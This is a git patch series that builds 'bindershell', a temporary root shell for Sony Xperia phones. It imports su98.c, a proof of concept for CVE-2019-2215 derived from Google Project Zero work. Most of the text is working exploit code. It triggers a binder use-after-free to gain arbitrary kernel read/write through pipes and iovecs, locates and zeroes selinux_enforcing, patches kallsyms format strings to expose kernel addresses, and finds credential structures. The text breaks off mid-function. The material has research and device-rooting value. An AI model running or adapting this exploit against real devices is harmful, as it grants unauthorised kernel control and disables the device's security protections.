From d3d7e1a015a68273ce8b796d6ce6d8b03567b584 Mon Sep 17 00:00:00 2001 From: j4nn <531585+j4nn@users.noreply.github.com> Date: Tue, 4 Feb 2020 21:24:14 +0100 Subject: [PATCH 01/14] use this as a base for CVE-2019-2215 exploit let's call it bindershell --- jni/Android.mk | 4 ++-- jni/main.c | 12 +++--------- 2 files changed, 5 insertions(+), 11 deletions(-) diff --git a/jni/Android.mk b/jni/Android.mk index cab3a75..3933988 100644 --- a/jni/Android.mk +++ b/jni/Android.mk @@ -3,10 +3,10 @@ LOCAL_PATH := $(call my-dir) include $(CLEAR_VARS) LOCAL_ARM_MODE := arm -LOCAL_CFLAGS := -O3 -DNDEBUG --all-warnings --extra-warnings -D_GNU_SOURCE +LOCAL_CFLAGS := -O2 -DNDEBUG -D_GNU_SOURCE LOCAL_C_INCLUDES := $(LOCAL_PATH)/include/ -LOCAL_MODULE := renoshell +LOCAL_MODULE := bindershell LOCAL_SRC_FILES := main.c getroot.c flex_array.c sid.c offsets.c client.c include $(BUILD_EXECUTABLE) diff --git a/jni/main.c b/jni/main.c index 7ae46a2..2f9be6e 100644 --- a/jni/main.c +++ b/jni/main.c @@ -91,10 +91,6 @@ int getroot(struct offsets* o) return ret; PNFO("task_struct %p\n", task); - // we need first to disable selinux completely otherwise tcp communication - // with our exploit server seems to get denied with user switching to root uid - if(o->selinux_enabled) - write_at_address_pipe(o->selinux_enabled, &zero, sizeof(zero)); if(o->selinux_enforcing) write_at_address_pipe(o->selinux_enforcing, &zero, sizeof(zero)); @@ -110,8 +106,6 @@ void reenable_selinux(struct offsets* o) { int one = 1; - if(o->selinux_enabled) - write_at_address_pipe(o->selinux_enabled, &one, sizeof(one)); if(o->selinux_enforcing) write_at_address_pipe(o->selinux_enforcing, &one, sizeof(one)); } @@ -122,8 +116,8 @@ int main(int argc, char **argv) struct offsets* o; int uid; - PNFO("\nrenoshell - rename/notify temp root shell\n"); - PNFO("https://github.com/j4nn/renoshell/\n\n"); + PNFO("\nbindershell - temp root shell for xperia XZ1c/XZ1/XZp using CVE-2019-2215\n"); + PNFO("https://github.com/j4nn/renoshell/tree/CVE-2019-2215\n\n"); my_task_name = strrchr(argv[0], '/'); if (my_task_name != NULL) @@ -139,7 +133,7 @@ int main(int argc, char **argv) if (argc > 1 && strcmp(argv[1], "--reenable-selinux") == 0) { reenable_selinux(o); - PNFO("selinux_enabled and selinux_enforcing set to 1\n"); + PNFO("selinux_enforcing set to 1\n"); return 0; } From 7a524387bff5eb7a7cb304cf179463ff6211fe7d Mon Sep 17 00:00:00 2001 From: arpruss Date: Tue, 4 Feb 2020 21:45:25 +0100 Subject: [PATCH 02/14] import su98.c from mirror repository taken from https://repo.or.cz/cve2019-2215-3.18.git /* * POC to gain arbitrary kernel R/W access using CVE-2019-2215 * https://bugs.chromium.org/p/project-zero/issues/detail?id=1942 * * Jann Horn & Maddie Stone of Google Project Zero * Some stuff from Grant Hernandez to achieve root (Oct 15th 2019) * Modified by Alexander R. Pruss for 3.18 kernels where WAITQUEUE_OFFSET is 0x98 * * October 2019 */ --- jni/su98.c | 1483 ++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 1483 insertions(+) create mode 100644 jni/su98.c diff --git a/jni/su98.c b/jni/su98.c new file mode 100644 index 0000000..882a01a --- /dev/null +++ b/jni/su98.c @@ -0,0 +1,1483 @@ +/* + * POC to gain arbitrary kernel R/W access using CVE-2019-2215 + * https://bugs.chromium.org/p/project-zero/issues/detail?id=1942 + * + * Jann Horn & Maddie Stone of Google Project Zero + * Some stuff from Grant Hernandez to achieve root (Oct 15th 2019) + * Modified by Alexander R. Pruss for 3.18 kernels where WAITQUEUE_OFFSET is 0x98 + * + * October 2019 +*/ + +#define DELAY_USEC 200000 + +// $ uname -a +// Linux localhost 3.18.71-perf+ #1 SMP PREEMPT Tue Jul 17 14:44:34 KST 2018 aarch64 +//#define KERNEL_BASE 0xffffffc000080000ul +#define KERNEL_BASE 0xffffffc000000000ul +#define OFFSET__thread_info__flags 0x000 +#define OFFSET__task_struct__stack 0x008 +#define OFFSET__cred__uid 0x004 +#define OFFSET__cred__securebits 0x024 +#define OFFSET__cred__cap_permitted 0x030 +#define OFFSET__cred__cap_effective (OFFSET__cred__cap_permitted+0x008) +#define OFFSET__cred__cap_bset (OFFSET__cred__cap_permitted+0x010) + +#define USER_DS 0x8000000000ul +#define BINDER_SET_MAX_THREADS 0x40046205ul +#define MAX_THREADS 3 + +#define RETRIES 3 + +#define PROC_KALLSYMS +#define KALLSYMS_CACHING +#define KSYM_NAME_LEN 128 + +//Not needed, but saved for future use; the offsets are for LGV20 LS998 +//#define OFFSET__task_struct__seccomp 0x9b0 +//#define OFFSET__cred__user_ns 0x088 // if you define this, the first run might be a little faster +//#define OFFSET__task_struct__cred 0x550 +#define OFFSET__cred__security 0x078 +#define OFFSET__cred__cap_inheritable 0x028 +#define OFFSET__cred__cap_ambient 0x048 +//#define OFFSET__task_struct__mm 0x308 + + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define MAX_PACKAGE_NAME 1024 + +#define MIN(x, y) ((x) < (y) ? (x) : (y)) +#define MAX(x, y) ((x) > (y) ? (x) : (y)) + +#define BINDER_THREAD_EXIT 0x40046208ul +// NOTE: we don't cover the task_struct* here; we want to leave it uninitialized +#define BINDER_THREAD_SZ 0x188 +#define IOVEC_ARRAY_SZ (BINDER_THREAD_SZ / 16) //25 +#define WAITQUEUE_OFFSET (0x98) +#define IOVEC_INDX_FOR_WQ (WAITQUEUE_OFFSET / 16) //10 +#define UAF_SPINLOCK 0x10001 +#define PAGE 0x1000ul +#define TASK_STRUCT_OFFSET_FROM_TASK_LIST 0xE8 + +int quiet = 0; + +const char whitelist[] = "su98-whitelist.txt"; +const char denyfile[] = "su98-denied.txt"; +int have_kallsyms = 0; +int kernel3 = 1; +char* myPath; +char* myName; + +struct kallsyms { + unsigned long addresses; + unsigned long names; + unsigned long num_syms; + unsigned long token_table; + unsigned long markers; + char* token_table_data; + unsigned short token_index_data[256]; +} kallsyms; + +void message(char *fmt, ...) +{ + if (quiet) + return; + va_list ap; + va_start(ap, fmt); + vprintf(fmt, ap); + va_end(ap); + putchar('\n'); +} + +void error(char* fmt, ...) +{ + va_list ap; + va_start(ap, fmt); + vfprintf(stderr, fmt, ap); + va_end(ap); + fprintf(stderr, ": %s\n", errno ? strerror(errno) : "error"); + exit(1); +} + +int isKernelPointer(unsigned long p) { + return p >= KERNEL_BASE && p<=0xFFFFFFFFFFFFFFFEul; +} + +unsigned long kernel_read_ulong(unsigned long kaddr); + +void hexdump_memory(void *_buf, size_t byte_count) +{ + unsigned char *buf = _buf; + unsigned long byte_offset_start = 0; + if (byte_count % 16) + error( "hexdump_memory called with non-full line"); + for (unsigned long byte_offset = byte_offset_start; byte_offset < byte_offset_start + byte_count; + byte_offset += 16) + { + char line[1000]; + char *linep = line; + linep += sprintf(linep, "%08lx ", byte_offset); + for (int i = 0; i < 16; i++) + { + linep += sprintf(linep, "%02hhx ", (unsigned char)buf[byte_offset + i]); + } + linep += sprintf(linep, " |"); + for (int i = 0; i < 16; i++) + { + char c = buf[byte_offset + i]; + if (isalnum(c) || ispunct(c) || c == ' ') + { + *(linep++) = c; + } + else + { + *(linep++) = '.'; + } + } + linep += sprintf(linep, "|"); + puts(line); + } +} + +int epfd; + +int binder_fd; + +unsigned long iovec_size(struct iovec *iov, int n) +{ + unsigned long sum = 0; + for (int i = 0; i < n; i++) + sum += iov[i].iov_len; + return sum; +} + +unsigned long iovec_max_size(struct iovec *iov, int n) +{ + unsigned long m = 0; + for (int i = 0; i < n; i++) + { + if (iov[i].iov_len > m) + m = iov[i].iov_len; + } + return m; +} + +int clobber_data(unsigned long payloadAddress, const void *src, unsigned long payloadLength) +{ + int dummyBufferSize = MAX(UAF_SPINLOCK, PAGE); + char *dummyBuffer = malloc(dummyBufferSize); + if (dummyBuffer == NULL) + error( "allocating dummyBuffer"); + + memset(dummyBuffer, 0, dummyBufferSize); + + message("PARENT: clobbering at 0x%lx", payloadAddress); + + struct epoll_event event = {.events = EPOLLIN}; + int max_threads = 2; + ioctl(binder_fd, BINDER_SET_MAX_THREADS, &max_threads); + if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event)) + error( "epoll_add"); + + unsigned long testDatum = 0; + unsigned long const testValue = 0xABCDDEADBEEF1234ul; + + struct iovec iovec_array[IOVEC_ARRAY_SZ]; + memset(iovec_array, 0, sizeof(iovec_array)); + + const unsigned SECOND_WRITE_CHUNK_IOVEC_ITEMS = 3; + + unsigned long second_write_chunk[SECOND_WRITE_CHUNK_IOVEC_ITEMS * 2] = { + (unsigned long)dummyBuffer, + /* iov_base (currently in use) */ // wq->task_list->next + SECOND_WRITE_CHUNK_IOVEC_ITEMS * 0x10, + /* iov_len (currently in use) */ // wq->task_list->prev + + payloadAddress, //(unsigned long)current_ptr+0x8, // current_ptr+0x8, // current_ptr + 0x8, /* next iov_base (addr_limit) */ + payloadLength, + + (unsigned long)&testDatum, + sizeof(testDatum), + }; + + int delta = (UAF_SPINLOCK + sizeof(second_write_chunk)) % PAGE; + int paddingSize = delta == 0 ? 0 : PAGE - delta; + + iovec_array[IOVEC_INDX_FOR_WQ - 1].iov_base = dummyBuffer; + iovec_array[IOVEC_INDX_FOR_WQ - 1].iov_len = paddingSize; + iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummyBuffer; + iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 0; // spinlock: will turn to UAF_SPINLOCK + iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = second_write_chunk; // wq->task_list->next: will turn to payloadAddress of task_list + iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = sizeof(second_write_chunk); // wq->task_list->prev: will turn to payloadAddress of task_list + iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_base = dummyBuffer; // stuff from this point will be overwritten and/or ignored + iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len = UAF_SPINLOCK; + iovec_array[IOVEC_INDX_FOR_WQ + 3].iov_base = dummyBuffer; + iovec_array[IOVEC_INDX_FOR_WQ + 3].iov_len = payloadLength; + iovec_array[IOVEC_INDX_FOR_WQ + 4].iov_base = dummyBuffer; + iovec_array[IOVEC_INDX_FOR_WQ + 4].iov_len = sizeof(testDatum); + int totalLength = iovec_size(iovec_array, IOVEC_ARRAY_SZ); + + int pipes[2]; + pipe(pipes); + if ((fcntl(pipes[0], F_SETPIPE_SZ, PAGE)) != PAGE) + error( "pipe size"); + if ((fcntl(pipes[1], F_SETPIPE_SZ, PAGE)) != PAGE) + error( "pipe size"); + + pid_t fork_ret = fork(); + if (fork_ret == -1) + error( "fork"); + if (fork_ret == 0) + { + /* Child process */ + prctl(PR_SET_PDEATHSIG, SIGKILL); + usleep(DELAY_USEC); + message("CHILD: Doing EPOLL_CTL_DEL."); + epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event); + message("CHILD: Finished EPOLL_CTL_DEL."); + + char *f = malloc(totalLength); + if (f == NULL) + error( "Allocating memory"); + memset(f, 0, paddingSize + UAF_SPINLOCK); + unsigned long pos = paddingSize + UAF_SPINLOCK; + memcpy(f + pos, second_write_chunk, sizeof(second_write_chunk)); + pos += sizeof(second_write_chunk); + memcpy(f + pos, src, payloadLength); + pos += payloadLength; + memcpy(f + pos, &testValue, sizeof(testDatum)); + pos += sizeof(testDatum); + write(pipes[1], f, pos); + message("CHILD: wrote %lu", pos); + close(pipes[1]); + close(pipes[0]); + exit(0); + } + + ioctl(binder_fd, BINDER_THREAD_EXIT, NULL); + int b = readv(pipes[0], iovec_array, IOVEC_ARRAY_SZ); + + message("PARENT: readv returns %d, expected %d", b, totalLength); + + if (testDatum != testValue) + message( "PARENT: **fail** clobber value doesn't match: is %lx but should be %lx", testDatum, testValue); + else + message("PARENT: clobbering test passed"); + + free(dummyBuffer); + close(pipes[0]); + close(pipes[1]); + + return testDatum == testValue; +} + +int leak_data(void *leakBuffer, int leakAmount, + unsigned long extraLeakAddress, void *extraLeakBuffer, int extraLeakAmount, + unsigned long *task_struct_ptr_p, unsigned long *task_struct_plus_8_p) +{ + unsigned long const minimumLeak = TASK_STRUCT_OFFSET_FROM_TASK_LIST + 8; + unsigned long adjLeakAmount = MAX(leakAmount, 4336); // TODO: figure out why we need at least 4336; I would think that minimumLeak should be enough + + int success = 1; + + struct epoll_event event = {.events = EPOLLIN}; + int max_threads = 2; + ioctl(binder_fd, BINDER_SET_MAX_THREADS, &max_threads); + if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event)) + error( "epoll_add"); + + struct iovec iovec_array[IOVEC_ARRAY_SZ]; + + memset(iovec_array, 0, sizeof(iovec_array)); + + int delta = (UAF_SPINLOCK + minimumLeak) % PAGE; + int paddingSize = (delta == 0 ? 0 : PAGE - delta) + PAGE; + + iovec_array[IOVEC_INDX_FOR_WQ - 2].iov_base = (unsigned long *)0xDEADBEEF; + iovec_array[IOVEC_INDX_FOR_WQ - 2].iov_len = PAGE; + iovec_array[IOVEC_INDX_FOR_WQ - 1].iov_base = (unsigned long *)0xDEADBEEF; + iovec_array[IOVEC_INDX_FOR_WQ - 1].iov_len = paddingSize - PAGE; + iovec_array[IOVEC_INDX_FOR_WQ].iov_base = (unsigned long *)0xDEADBEEF; + iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 0; /* spinlock: will turn to UAF_SPINLOCK */ + iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (unsigned long *)0xDEADBEEF; /* wq->task_list->next */ + iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = adjLeakAmount; /* wq->task_list->prev */ + iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_base = (unsigned long *)0xDEADBEEF; // we shouldn't get to here + iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len = extraLeakAmount + UAF_SPINLOCK + 8; + unsigned long totalLength = iovec_size(iovec_array, IOVEC_ARRAY_SZ); + unsigned long maxLength = iovec_size(iovec_array, IOVEC_ARRAY_SZ); + unsigned char *dataBuffer = malloc(maxLength); + + if (dataBuffer == NULL) + error( "Allocating %ld bytes", maxLength); + + for (int i = 0; i < IOVEC_ARRAY_SZ; i++) + if (iovec_array[i].iov_base == (unsigned long *)0xDEADBEEF) + iovec_array[i].iov_base = dataBuffer; + + int b; + int pipefd[2]; + int leakPipe[2]; + if (pipe(pipefd)) + error( "pipe"); + if (pipe(leakPipe)) + err(2, "pipe"); + if ((fcntl(pipefd[0], F_SETPIPE_SZ, PAGE)) != PAGE) + error( "pipe size"); + if ((fcntl(pipefd[1], F_SETPIPE_SZ, PAGE)) != PAGE) + error( "pipe size"); + + pid_t fork_ret = fork(); + if (fork_ret == -1) + error( "fork"); + if (fork_ret == 0) + { + /* Child process */ + char childSuccess = 1; + + prctl(PR_SET_PDEATHSIG, SIGKILL); + usleep(DELAY_USEC); + message("CHILD: Doing EPOLL_CTL_DEL."); + epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event); + message("CHILD: Finished EPOLL_CTL_DEL."); + + unsigned long size1 = paddingSize + UAF_SPINLOCK + minimumLeak; + message("CHILD: initial portion length 0x%lx", size1); + char buffer[size1]; + memset(buffer, 0, size1); + if (read(pipefd[0], buffer, size1) != size1) + error( "reading first part of pipe"); + + memcpy(dataBuffer, buffer + size1 - minimumLeak, minimumLeak); + + int badPointer = 0; + if (memcmp(dataBuffer, dataBuffer + 8, 8)) + badPointer = 1; + unsigned long addr = 0; + memcpy(&addr, dataBuffer, 8); + + if (!isKernelPointer(addr)) { + badPointer = 1; + childSuccess = 0; + } + + unsigned long task_struct_ptr = 0; + + memcpy(&task_struct_ptr, dataBuffer + TASK_STRUCT_OFFSET_FROM_TASK_LIST, 8); + message("CHILD: task_struct_ptr = 0x%lx", task_struct_ptr); + + if (!badPointer && (extraLeakAmount > 0 || task_struct_plus_8_p != NULL)) + { + unsigned long extra[6] = { + addr, + adjLeakAmount, + extraLeakAddress, + extraLeakAmount, + task_struct_ptr + 8, + 8}; + message("CHILD: clobbering with extra leak structures"); + if (clobber_data(addr, &extra, sizeof(extra))) + message("CHILD: clobbered"); + else { + message("CHILD: **fail** iovec clobbering didn't work"); + childSuccess = 0; + } + } + + errno = 0; + if (read(pipefd[0], dataBuffer + minimumLeak, adjLeakAmount - minimumLeak) != adjLeakAmount - minimumLeak) + error("leaking"); + + write(leakPipe[1], dataBuffer, adjLeakAmount); + + if (extraLeakAmount > 0) + { + message("CHILD: extra leak"); + if (read(pipefd[0], extraLeakBuffer, extraLeakAmount) != extraLeakAmount) { + childSuccess = 0; + error( "extra leaking"); + } + write(leakPipe[1], extraLeakBuffer, extraLeakAmount); + //hexdump_memory(extraLeakBuffer, (extraLeakAmount+15)/16*16); + } + if (task_struct_plus_8_p != NULL) + { + if (read(pipefd[0], dataBuffer, 8) != 8) { + childSuccess = 0; + error( "leaking second field of task_struct"); + } + message("CHILD: task_struct_ptr = 0x%lx", *(unsigned long *)dataBuffer); + write(leakPipe[1], dataBuffer, 8); + } + write(leakPipe[1], &childSuccess, 1); + + close(pipefd[0]); + close(pipefd[1]); + close(leakPipe[0]); + close(leakPipe[1]); + message("CHILD: Finished write to FIFO."); + + if (badPointer) { + errno = 0; + message("CHILD: **fail** problematic address pointer, e.g., %lx", addr); + } + exit(0); + } + message("PARENT: soon will be calling WRITEV"); + errno = 0; + ioctl(binder_fd, BINDER_THREAD_EXIT, NULL); + b = writev(pipefd[1], iovec_array, IOVEC_ARRAY_SZ); + message("PARENT: writev() returns 0x%x", (unsigned int)b); + if (b != totalLength) { + message( "PARENT: **fail** writev() returned wrong value: needed 0x%lx", totalLength); + success = 0; + goto DONE; + } + + message("PARENT: Reading leaked data"); + + b = read(leakPipe[0], dataBuffer, adjLeakAmount); + if (b != adjLeakAmount) { + message( "PARENT: **fail** reading leak: read 0x%x needed 0x%lx", b, adjLeakAmount); + success = 0; + goto DONE; + } + + if (leakAmount > 0) + memcpy(leakBuffer, dataBuffer, leakAmount); + + if (extraLeakAmount != 0) + { + message("PARENT: Reading extra leaked data"); + b = read(leakPipe[0], extraLeakBuffer, extraLeakAmount); + if (b != extraLeakAmount) { + message( "PARENT: **fail** reading extra leak: read 0x%x needed 0x%lx", b, extraLeakAmount); + success = 0; + goto DONE; + } + } + + if (task_struct_plus_8_p != NULL) + { + if (read(leakPipe[0], task_struct_plus_8_p, 8) != 8) { + message( "PARENT: **fail** reading leaked task_struct at offset 8"); + success = 0; + goto DONE; + } + } + + char childSucceeded=0; + + read(leakPipe[0], &childSucceeded, 1); + if (!childSucceeded) + success = 0; + + + if (task_struct_ptr_p != NULL) + memcpy(task_struct_ptr_p, dataBuffer + TASK_STRUCT_OFFSET_FROM_TASK_LIST, 8); + +DONE: + close(pipefd[0]); + close(pipefd[1]); + close(leakPipe[0]); + close(leakPipe[1]); + + int status; + wait(&status); + //if (wait(&status) != fork_ret) error( "wait"); + + free(dataBuffer); + + if (success) + message("PARENT: leaking successful"); + + return success; +} + +int leak_data_retry(void *leakBuffer, int leakAmount, + unsigned long extraLeakAddress, void *extraLeakBuffer, int extraLeakAmount, + unsigned long *task_struct_ptr_p, unsigned long *task_struct_plus_8_p) { + int try = 0; + while (try < RETRIES && !leak_data(leakBuffer, leakAmount, extraLeakAddress, extraLeakBuffer, extraLeakAmount, task_struct_ptr_p, task_struct_plus_8_p)) { + message("MAIN: **fail** retrying"); + try++; + } + if (0 < try && try < RETRIES) + message("MAIN: it took %d tries, but succeeded", try); + return try < RETRIES; +} + +int clobber_data_retry(unsigned long payloadAddress, const void *src, unsigned long payloadLength) { + int try = 0; + while (try < RETRIES && !clobber_data(payloadAddress, src, payloadLength)) { + message("MAIN: **fail** retrying"); + try++; + } + if (0 < try && try < RETRIES) + message("MAIN: it took %d tries, but succeeded", try); + return try < RETRIES; +} + + +int kernel_rw_pipe[2]; + +struct kernel_buffer { + unsigned char pageBuffer[PAGE]; + unsigned long pageBufferOffset; +} kernel_buffer = { .pageBufferOffset = 0 }; + +void reset_kernel_pipes() +{ + kernel_buffer.pageBufferOffset = 0; + close(kernel_rw_pipe[0]); + close(kernel_rw_pipe[1]); + if (pipe(kernel_rw_pipe)) + error( "kernel_rw_pipe"); +} + +int raw_kernel_write(unsigned long kaddr, void *buf, unsigned long len) +{ + if (len > PAGE) + error( "kernel writes over PAGE_SIZE are messy, tried 0x%lx", len); + if (write(kernel_rw_pipe[1], buf, len) != len || + read(kernel_rw_pipe[0], (void *)kaddr, len) != len) + { + reset_kernel_pipes(); + return 0; + } + return len; +} + +void kernel_write(unsigned long kaddr, void *buf, unsigned long len) +{ + if (len != raw_kernel_write(kaddr, buf, len)) + error( "error with kernel writing"); +} + +int raw_kernel_read(unsigned long kaddr, void *buf, unsigned long len) +{ + if (len > PAGE) + error( "kernel writes over PAGE_SIZE are messy, tried 0x%lx", len); + if (write(kernel_rw_pipe[1], (void *)kaddr, len) != len || read(kernel_rw_pipe[0], buf, len) != len) + { + reset_kernel_pipes(); + return 0; + } + return len; +} + +void kernel_read(unsigned long kaddr, void *buf, unsigned long len) +{ + if (len > PAGE) + error( "kernel reads over PAGE_SIZE are messy, tried 0x%lx", len); + if (len != raw_kernel_read(kaddr, buf, len)) + error( "error with kernel reading"); +} + +unsigned char kernel_read_uchar(unsigned long offset) { + if (kernel_buffer.pageBufferOffset == 0 || offset < kernel_buffer.pageBufferOffset || kernel_buffer.pageBufferOffset+PAGE <= offset) { + kernel_buffer.pageBufferOffset = offset & ~(PAGE-1); + kernel_read(kernel_buffer.pageBufferOffset, kernel_buffer.pageBuffer, PAGE); + } + return kernel_buffer.pageBuffer[offset-kernel_buffer.pageBufferOffset]; +} + +unsigned long kernel_read_ulong(unsigned long kaddr) +{ + unsigned long data; + kernel_read(kaddr, &data, sizeof(data)); + return data; +} +unsigned long kernel_read_uint(unsigned long kaddr) +{ + unsigned int data; + kernel_read(kaddr, &data, sizeof(data)); + return data; +} +void kernel_write_ulong(unsigned long kaddr, unsigned long data) +{ + kernel_write(kaddr, &data, sizeof(data)); +} +void kernel_write_uint(unsigned long kaddr, unsigned int data) +{ + kernel_write(kaddr, &data, sizeof(data)); +} +void kernel_write_uchar(unsigned long kaddr, unsigned char data) +{ + kernel_write(kaddr, &data, sizeof(data)); +} + +// code from DrZener +unsigned long findSelinuxEnforcingFromAvcDenied(unsigned long avc_denied_address) +{ + unsigned long address; + unsigned long selinux_enforcing_address; + bool adrp_found = 0; + for(address = avc_denied_address; address <= avc_denied_address + 0x60; address += 4) + { + unsigned int instruction = kernel_read_uint(address); + + if(!adrp_found) + { + unsigned int instruction_masked = instruction; + instruction_masked >>= 24; + instruction_masked &= 0x9F; + if((instruction_masked ^ 0x90) == 0 ) + { + selinux_enforcing_address = address; + unsigned int imm_hi, imm_lo, imm; + imm_hi = (instruction >> 5) & 0x7FFFF; + imm_lo = (instruction >> 29) & 3; + imm = ((imm_hi << 2) | imm_lo) << 12; + selinux_enforcing_address &= 0xFFFFFFFFFFFFF000; + selinux_enforcing_address += imm; + adrp_found = 1; + } + } + if (adrp_found) + { + unsigned int instruction_masked = instruction; + instruction_masked >>= 22; + instruction_masked &= 0x2FF; + if((instruction_masked ^ 0x2E5) == 0 ) + { + unsigned int offset = ((instruction >> 10) & 0xFFF) << 2; + selinux_enforcing_address += offset; + message("selinux_enforcing address found"); + return selinux_enforcing_address; + } + } + } + message("selinux_enforcing address not found"); + return 0UL; +} + +// Make the kallsyms module not check for permission to list symbol addresses +int fixKallsymsFormatStrings(unsigned long start) +{ + errno = 0; + + int found = 0; + + start &= ~(PAGE - 1); + + unsigned long searchTarget; + + memcpy(&searchTarget, "%pK %c %", 8); + + int backwards = 1; + int forwards = 1; + int direction = 1; + unsigned long forwardAddress = start; + unsigned long backwardAddress = start - PAGE; + unsigned long page[PAGE / 8]; + + message("MAIN: searching for kallsyms format strings"); + + while ((backwards || forwards) && found < 2) + { + unsigned long address = direction > 0 ? forwardAddress : backwardAddress; + + if (address < 0xffffffc000000000ul || address >= 0xffffffd000000000ul || raw_kernel_read(address, page, PAGE) != PAGE) + { + if (direction > 0) + forwards = 0; + else + backwards = 0; + } + else + { + for (int i = 0; i < PAGE / 8; i++) + if (page[i] == searchTarget) + { + unsigned long a = address + 8 * i; + + char fmt[16]; + + kernel_read(a, fmt, 16); + + if (!strcmp(fmt, "%pK %c %s\t[%s]\x0A")) + { + message("MAIN: patching longer version at %lx", a); + if (15 != raw_kernel_write(a, "%p %c %s\t[%s]\x0A", 15)) { + message("MAIN: **fail** probably you have read-only const storage"); + return found; + } + found++; + } + else if (!strcmp(fmt, "%pK %c %s\x0A")) + { + message("MAIN: patching shorter version at %lx", a); + if (15 != raw_kernel_write(a, "%p %c %s\x0A", 10)) { + message("MAIN: **fail** probably you have read-only const storage"); + return found; + } + found++; + } + + if (found >= 2) + return 2; + } + } + + if (direction > 0) + forwardAddress += PAGE; + else + backwardAddress -= PAGE; + + direction = -direction; + + if (direction < 0 && !backwards) + { + direction = 1; + } + else if (direction > 0 && !forwards) + { + direction = -1; + } + } + + return found; +} + +int verifyCred(unsigned long cred_ptr) { + unsigned uid; + if (cred_ptr < 0xffffff0000000000ul || 4 != raw_kernel_read(cred_ptr+OFFSET__cred__uid, &uid, 4)) + return 0; + return uid == getuid(); +} + +int getCredOffset(unsigned char* task_struct_data) { + char taskname[16]; + unsigned n = MIN(strlen(myName)+1, 16); + memcpy(taskname, myName, n); + taskname[15] = 0; + + for (int i=OFFSET__task_struct__stack+8; iseccomp_status == seccompStatus && isKernelPointer(p->seccomp_filter)) { + if (p->child_exe == p->parent_exe + 1) { + return i; + } + else { + if (firstGuess < 0) + firstGuess = i; + } + } + } + + return firstGuess; +} + +unsigned long countIncreasingEntries(unsigned long start) { + unsigned long count = 1; + unsigned long prev = kernel_read_ulong(start); + do { + start += 8; + unsigned long v = kernel_read_ulong(start); + if (v < prev) + return count; + count++; + } while(1); +} + +int increasing(unsigned long* location, unsigned n) { + for (int i=0; i location[i+1]) + return 0; + return 1; +} + +int find_kallsyms_addresses(unsigned long searchStart, unsigned long searchEnd, unsigned long* startP, unsigned long* countP) { + if (searchStart == 0) + searchStart = KERNEL_BASE; + if (searchEnd == 0) + searchEnd = searchStart + 0x5000000; + unsigned long foundStart = 0; + + unsigned char page[PAGE]; + for (unsigned long i=searchStart; i= 40000) { + *startP = i+j; + *countP = count; + return 1; + } + else if (count >= 10000) { + message("MAIN: interesting, found a sequence of 10000 non-decreasing entries at 0x%lx", (i+j)); + } + } + } + } + return 0; +} + +int get_kallsyms_name(unsigned long offset, char* name) { + unsigned char length = kernel_read_uchar(offset++); + + for (unsigned char i = 0; i < length ; i++) { + int index = kallsyms.token_index_data[kernel_read_uchar(offset++)]; + int n = strlen(kallsyms.token_table_data+index); + memcpy(name, kallsyms.token_table_data+index, n); + name += n; + } + *name = 0; + + return 1+length; +} + +int loadKallsyms() { + if (have_kallsyms) + + return 1; + if (!find_kallsyms_addresses(0, 0, &kallsyms.addresses, &kallsyms.num_syms)) + return 0; + + message("MAIN: kallsyms names start at 0x%lx and have %ld entries", kallsyms.addresses, kallsyms.num_syms); + unsigned long offset = kallsyms.addresses + 8 * kallsyms.num_syms; + + message("MAIN: kallsyms names end at 0x%lx", offset); + struct kernel_buffer buf = {.pageBufferOffset = 0}; + + offset = (offset + 0xFFul) & ~0xFFul; + + unsigned long count = kernel_read_ulong(offset); + offset += 8; + + if (count != kallsyms.num_syms) { + message("MAIN: **fail** kallsym entry count mismatch %ld", count); + } + + offset = (offset + 0xFFul) & ~0xFFul; + + kallsyms.names = offset; + + for (unsigned long i = 0 ; i < kallsyms.num_syms ; i++) { + unsigned char len = kernel_read_uchar(offset++); + offset += len; + } + + offset = (offset + 0xFF) & ~0xFFul; + + kallsyms.markers = offset; + + offset += 8 * ((kallsyms.num_syms + 255ul) / 256ul); + + offset = (offset + 0xFF) & ~0xFFul; + + kallsyms.token_table = offset; + + int tokens = 0; + + while (tokens < 256) { + if (kernel_read_uchar(offset++) == 0) + tokens++; + } + + unsigned long token_table_length = offset - kallsyms.token_table; + + kallsyms.token_table_data = malloc(token_table_length); + + errno = 0; + if (kallsyms.token_table_data == NULL) + error("allocating token table"); + + for (unsigned long i = 0 ; i < token_table_length ; i++) + kallsyms.token_table_data[i] = kernel_read_uchar(kallsyms.token_table + i); + + offset = (offset + 0xFF) & ~0xFFul; + + kernel_read(offset, kallsyms.token_index_data, sizeof(kallsyms.token_index_data)); + + have_kallsyms = 1; + + return 1; +} + +unsigned long findSymbol_memory_search(char* symbol) { + message("MAIN: searching for kallsyms table"); + if (! loadKallsyms()) { + message("MAIN: **fail** cannot find kallsyms table"); + } + + unsigned long offset = kallsyms.names; + char name[KSYM_NAME_LEN]; + unsigned n = strlen(symbol); + + for(unsigned long i = 0; i < kallsyms.num_syms; i++) { + unsigned int n = get_kallsyms_name(offset, name); + if (!strncmp(name+1, symbol, n) && (name[1+n] == '.' || !name[1+n])) { + unsigned long address = kernel_read_ulong(kallsyms.addresses + i*8); + message( "MAIN: found %s in kernel memory at %lx", symbol, address); + + return address; + } + offset += n; + } + + return 0; +} + +char* allocateSymbolCachePathName(char* symbol) { + int n = strlen(myPath); + + char* pathname = malloc(strlen(symbol)+7+1+n); + if (pathname == NULL) { + errno = 0; + error("allocating memory for pathname"); + } + strcpy(pathname, myPath); + strcat(pathname, symbol); + strcat(pathname, ".symbol"); + + return pathname; +} + +unsigned long findSymbol_in_cache(char* symbol) { + char* pathname = allocateSymbolCachePathName(symbol); 